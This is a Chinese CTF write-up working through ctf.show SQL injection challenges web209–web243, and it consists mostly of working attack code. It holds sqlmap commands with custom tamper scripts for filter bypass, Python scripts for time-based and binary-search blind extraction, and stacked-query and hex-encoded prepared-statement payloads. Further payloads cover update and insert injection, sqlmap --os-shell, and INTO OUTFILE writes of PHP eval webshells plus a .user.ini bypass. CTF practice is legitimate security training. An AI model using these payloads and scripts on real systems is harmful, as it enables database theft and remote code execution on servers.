python3 sqlmap.py -u https://e1913103-c779-4ae7-95b9-a05a83ce161d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://e1913103-c779-4ae7-95b9-a05a83ce161d.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx -dump --tamper=web209
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
"""
Author:Y4tacker
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload


def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == "*":
retVal += chr(0x31)
continue

elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

*,将其替换为字符 1 (chr(0x31)) 并继续处理下一个字符

=,在返回值中插入换行符 (\n),后跟 'like',再插入一个换行符

web210

1
return strrev(base64_decode(strrev(base64_decode($id))));

这段代码实现了对字符串 $id 的双重 Base64 解码和反转

1
python3 sqlmap.py -u https://910c1d79-011c-49c3-95c4-bb1773a9e384.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://910c1d79-011c-49c3-95c4-bb1773a9e384.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web210
1
python3 sqlmap.py -u https://910c1d79-011c-49c3-95c4-bb1773a9e384.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://910c1d79-011c-49c3-95c4-bb1773a9e384.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx -dump --tamper=web210
1
2
3
4
5
6
7
8
9
10
11
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()

web211

1
2
3
function waf($str){
return preg_match('/ /', $str);
}

在上一题的基础上加了一个空格绕过,稍微微调一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote


elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

1
python3 sqlmap.py -u https://73a357ff-155b-456a-8eeb-360b369c9564.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://73a357ff-155b-456a-8eeb-360b369c9564.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web211
1
python3 sqlmap.py -u https://73a357ff-155b-456a-8eeb-360b369c9564.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://73a357ff-155b-456a-8eeb-360b369c9564.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa -dump --tamper=web211

web212

1
2
3
4
5
6
  function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

加了这些限制,继续修改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
"""
Author:Y4tacker
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
return retVal

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == "*":
retVal += chr(0x31)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal
1
python3 sqlmap.py -u https://e8f8c96a-2345-4f22-82f6-dbddc934c835.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://e8f8c96a-2345-4f22-82f6-dbddc934c835.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web212
1
python3 sqlmap.py -u https://e8f8c96a-2345-4f22-82f6-dbddc934c835.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://e8f8c96a-2345-4f22-82f6-dbddc934c835.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa -dump --tamper=web212

web213

练习使用–os-shell 一键getshell

1
python3 sqlmap.py -u https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web212
1
python3 sqlmap.py -u https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_user -C username -dump --tamper=web212

用上一题的可以直接打通但是找不到就提的flag在哪,所以需要getshell才行

1
python3 sqlmap.py -u https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://baf33310-7e1b-4002-bc30-c40e22df446d.challenge.ctf.show/api/getToken.php --safe-freq=1  --tamper=web212 --os-shell

按4,1然后上传文件,然后执行命令

web214

这题开始是时间盲注,配合bp食用更佳

找不到注入点,orz,看了一下wp需要抓包,在api里面找到,直接上吧,设置debug=1,注入点是ip,

这里根据web175的进行微调一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://9a47d60c-a58c-473d-8fda-bcd4534a6d2a.challenge.ctf.show/api/'

def get_flag_char(index):
for char in dicts:
#payload = {"ip":f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.5),0)",'debug':1}
#payload = {"ip":f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{index},1)='{char}',sleep(0.5),0)",'debug':1}
payload = {"ip":f"if(substr((select flaga from ctfshow_flagx),{index},1)='{char}',sleep(0.5),0)",'debug':1}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

写代码中dict的逗号不能少,是我在改代码中遇到的一个小问题

web215

用了单引号

和上题基本一致,用了引号就需要记得闭合,%23过滤掉后面的即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://fcff0b3a-2480-4088-88e3-4a8554259ae8.challenge.ctf.show/api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'1',"ip":f"0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(1),0)#"}
#payload = {'debug':'1',"ip":f"0' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{index},1)='{char}',sleep(1),0)#"}
payload = {'debug':'1',"ip":f"0' or if(substr((select flagaa from ctfshow_flagxc),{index},1)='{char}',sleep(1),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=1:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

需要闭合,所以调整了一下payload的顺序,在爆表的时候出现了数字异常,手动调一下就行,最后可以得到flag

web216

where id = from_base64($id);

一开始以为是需要对payload进行base64的转化,其实就是)的提前闭合就可以了,可以沿用上一题的脚本,微调一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://8184624f-3ac4-4ac2-b195-865a82d8cb94.challenge.ctf.show/api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(1),0)#"}
#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{index},1)='{char}',sleep(1),0)#"}
payload = {'debug':'1',"ip":f"0) or if(substr((select flagaac from ctfshow_flagxcc),{index},1)='{char}',sleep(1),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=1:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

web217

本题过滤了sleep,网上可以简答的搜索一下内容

使用 BENCHMARK 函数,结合一个较大的数值来引入延迟。这是MySQL中的内置函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://078b3b8c-d67e-4948-b1f2-239e5176f712.challenge.ctf.show/api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',BENCHMARK(1000000, MD5('orange')),0)#"}
#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{index},1)='{char}',BENCHMARK(1000000, MD5('orange')),0)#"}
payload = {'debug':'1',"ip":f"0) or if(substr((select flagaabc from ctfshow_flagxccb),{index},1)='{char}',BENCHMARK(1000000, MD5('orange')),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

web218

这题benchmark也被禁用了,尝试一些其他方法

我使用的是笛卡尔积造成的短暂延迟,结合两个表的计数可以引入一定的延迟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://380bc0f7-937d-4516-a20e-aaa284e086a2.challenge.ctf.show/api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B), 0)#"}
#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)#"}
payload = {'debug':'1',"ip":f"0) or if(substr((select flagaac from ctfshow_flagxc),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=0.3:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

web219

禁用了rlike,我没使用到,继续用上题的脚本,需要微调一下时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://eca68551-e138-419b-a9f7-8bff2348458d.challenge.ctf.show//api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B), 0)#"}
#payload = {'debug':'1',"ip":f"0) or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)#"}
payload = {'debug':'1',"ip":f"0) or if(substr((select flagaabc from ctfshow_flagxca),{index},1)='{char}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=0.2:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

web220

1
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);

禁用的东西挺多的

concat既然禁用了可以使用limit进行绕过,微调一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://581c4aa9-8e30-4f3e-9253-216e7c43703a.challenge.ctf.show/api/index.php'

def get_flag_char(index):
for char in dicts:

#payload = {'debug':'0', "ip": f"0) or if(left((select table_name from information_schema.tables where table_schema=database() limit 0, 1),{index})regexp('{flag+char}'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B), 0)#"}
#payload = {'debug':'0', "ip": f"0) or if(left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1, 1),{index})regexp('{flag+char}'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B), 0)#"}
payload = {'debug':'1',"ip":f"0) or if(left((select flagaabcc from ctfshow_flagxcac),{index})regexp('{flag+char}'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)#"}

# 构造完整请求 URL
try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=0.2:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

到这边盲注就结束了,略感疲惫。

web221

limit注入

1
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

放个p神的文章,可以了解一下具体内容Mysql下Limit注入方法),在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里利用procedure和analyse两个函数一齐食用,同时利用报错注入

在/api下进行get发包

1
?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

得到的数据库名就是flag直接交就行

web222

1
$sql = select * from ctfshow_user group by $username;

研究一下y4师傅的脚本,也是用二分法写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
url = "http://fd01f201-a270-4d94-99b1-e530d1e1cdfb.challenge.ctf.show/api/"
result = ""
i = 0

while True:
i += 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 二分法进行查找
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga'limit 1,1"
payload = "select flagaabc from ctfshow_flaga"
params = {
'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"
}

try:
r = requests.get(url, params=params, timeout=1)
tail = mid
except requests.exceptions.Timeout:
head = mid + 1

if head != 32:
result += chr(head)
else:
break

print(result)

利用不断的比较大小,拼接得到flag,可能会有细小误差,手动调节就行

web223

无数字可以参照web185进行绕过,都是利用true进行绕过,浅浅的研究了下脚本,直接贴吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
"""
Author:Y4tacker
"""
import requests
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res

url = "http://f1d0f6ad-cd9f-432a-885f-42f4c6f20289.challenge.ctf.show/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1

while head < tail:
mid = (head + tail) >> 1
# 查数据库-ctfshow_flagas
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段-flagasabc
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
# 查flag
payload = "select flagasabc from ctfshow_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)

web224

前端的登陆框架尝试sql注入绕不过去,看一下robot.txt,跟进发现php继续跟进可以重置admin的密码,重置后登陆,有文件上传,尝试了一些的文件都上传不成功,看看wp,讲的是文件类型注入,通过into写马得到flag,学一下。保存为a.bin

1
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/orange.php';--+

C64File 是与 Commodore 64 相关的文件类型,之后闭合,写入 sql 语句这里写的是一句话的🐎

然后在orange.php里执行?1=cat /flag即可

web225

1
2
3
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

先show看看

1
?username=-1';show tables;%23
1
?username=-1';show columns from ctfshow_flagasa;%23

0x01

可以使用handler进行打开读取

1
?username=0';handler ctfshow_flagasa open;handler ctfshow_flagasa read next;#

0x02

用预处理的方法解决

1
?username=0'; PREPARE 0raN9e FROM concat('selec',"t group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagasa'"); EXECUTE 0raN9e;
1
?username=0'; PREPARE 0raN9e FROM concat('selec','t flagas from ctfshow_flagasa'); EXECUTE 0raN9e;

web226

1
2
3
4
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

也是预处理,但是左括号被过滤了,可以hex编码转化,简单的操作一下

1
?username=-1';PREPARE 0raN9e from 0x73656c65637420646174616261736528293b;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D2763746673685F6F775F666C6167617327;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C65637420666C61676173622066726F6D2063746673685F6F775F666C61676173;EXECUTE 0raN9e;

web227

尝试用了上题的预处理翻遍没找到,看看wp吧

0x01

没什么意义主要看0x02

1
?username=1';call getFlag();

0x02

文章,可以查看存储过程和函数的信息,SELECT * FROM information_schema.Routines

1
?username=-1';PREPARE 0raN9e from 0x53454C45435420202A202046524F4D2020696E666F726D6174696F6E5F736368656D612E526F7574696E6573;EXECUTE 0raN9e;

web228

1
?username=-1';PREPARE 0raN9e from 0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D2763746673685F6F775F666C61676173616127;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C65637420666C6167617362612066726F6D2063746673685F6F775F666C616761736161;EXECUTE 0raN9e;ctfsh_ow_flagasaa

预处理转hex就行,基本同226

web229

1
?username=-1';PREPARE 0raN9e from 0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D27666C616727;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C65637420666C6167617362612066726F6D20666C6167;EXECUTE 0raN9e;

web230

1
?username=-1';PREPARE 0raN9e from 0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D27666C6167616162627827;EXECUTE 0raN9e;
1
?username=-1';PREPARE 0raN9e from 0x73656C65637420666C616761736261732066726F6D20666C61676161626278;EXECUTE 0raN9e;

这些题都可以是这一个做法,就不多讲了

web231

1
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

从这里开始是update注入,网络看一下api默认是?page=1&limit=10

可以进行post传参逐步得到flag

1
password=1',username=database()#&username=1
1
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=1
1
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1
1
password=1',username=(select flagas from flaga)#&username=1

web232

有了MD5加密,用括号提前闭就行

1
password=1'),username=database()#&username=1
1
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=1
1
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1
1
password=1'),username=(select flagass from flagaa)#&username=1

和上题基本一致

web233

看着和231一样,但是用上面的payload并不能成功,测试一下username这里有注入点,用时间盲注尝试看看是可以成功的,上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = "http://7426a816-01f5-4197-8302-1988fa9834c0.challenge.ctf.show/api/?page=1&limit=10"

result = ""
i = 0

while 1:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 查数据库
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查表名
#payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"
# 查数据
payload = "select flagass233 from flag233333"
data = {
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
'password': '0'
}
try:
r = requests.post(url, data=data, timeout=0.9)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)

web234

1
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

过滤了单引号,但是可以进行转义,先上一个payload

1
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

因为\使原来的pass为where username=之后username就可以正常传值注入了

因为不能出现单引号,可以进行十六进制转化

1
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)%23
1
password=\&username=,username=(select flagass23s3 from flag23a)%23

web235

1
//过滤 or ' 

可以进行简单的查库名,但是之后的注入尝试一下就不能成功了,information表也不能用,参考文章,可以使用mysql里的内部系统表,innodb_table_stats和mysql.innodb_index_stats

1
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())%23
1
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)%23

web236

多加了flag的过滤实际测试发现并没影响

1
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())%23
1
password=\&username=,username=(select group_concat(o) from (select 1,2 as o,3 union select * from flaga)a)#

web237

1
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

直接前端的页面插入就行

1
1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

查询语句需要整体加括号,然后刷新看

1
1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#
1
1',(select flagass23s3 from flag))#

web238

//过滤空格

尝试/**/失败,%09失败,尝试用括号进行绕过

1
1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#
1
1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#
1
1',(select(flag)from(flagb)))#

web239

过滤空格 or ,同web235的内容,前端正常修改就行,测试了一下也是过滤空格的

1
1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#

网上搜了一会字母查列,没有查询到,都是猜测的语句,可能是因为括号太多导致不符合sql语句的查询

1
1',(select(flag)from(flagbb)))#

web240

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

1
//过滤空格 or sys mysql

压力🐎,都过滤了,跟着y4师傅的脚本敲了一遍,没回显但是可以去网站上看一下,会发现已经出flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import random

url = 'http://f7b11a05-b447-4bfd-9850-395e7f32e9ef.challenge.ctf.show/'
url_insert = url + "api/insert.php"
url_flag = url + "api/?page=1&limit=1000"

def generate_str_random():
sttr = "ab"
str_list = [random.choice(sttr) for i in range(5)]
random_str = ''.join(str_list)
return random_str

while True:
data = {
'username': f"1',(select(flag)from(flag{generate_str_random()})))#",
'password': "aaa"
}
r = requests.post(url_insert, data=data)
r2 = requests.get(url_flag)
if "flag" in r2.text:
for i in r2.json()['data']:
if "flag" in i['pass']:
print(i['pass'])
break
break

web241

正常输入语句不会有回显会直接删除,采用盲注

可以回溯到web175对脚本修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://5495de70-dd5c-41c5-bcab-d784b3e7f768.challenge.ctf.show/api/delete.php'

def get_flag_char(index):
for char in dicts:
#payload = {"id": f"0 or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.2),0)"}
#payload = {"id": f"0 or if(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{index},1)='{char}',sleep(0.2),0)"}
payload = {"id": f"0 or if(substr((select flag from flag),{index},1)='{char}',sleep(0.2),0)"}

try:
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if end_time - start_time >=3:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 情况: {flag}")
else:
print("已结束")
break
print(f"最终 情况: {flag}")

等的时间可能稍微长一点,跑出来是没什么问题的

web242

file注入,找不到注入点,看看wp,参考是在dump.php下,测试一下是成功的

这里可以通过into outfile来写入webshell,采用字段分割来写入,在/api/dump.php里面写入

1
filename=1.php'lines terminated by "<?php eval($_POST[cmd]);?>"#

2024-09-20114308

web243

在上题的基础上过滤了php

尝试了大小写绕过没有成功,需要用到文件上传的知识,考虑使用.user.ini来进行绕过

1
filename=.user.ini' lines starting by 'auto_prepend_file=orange.txt\n'#
1
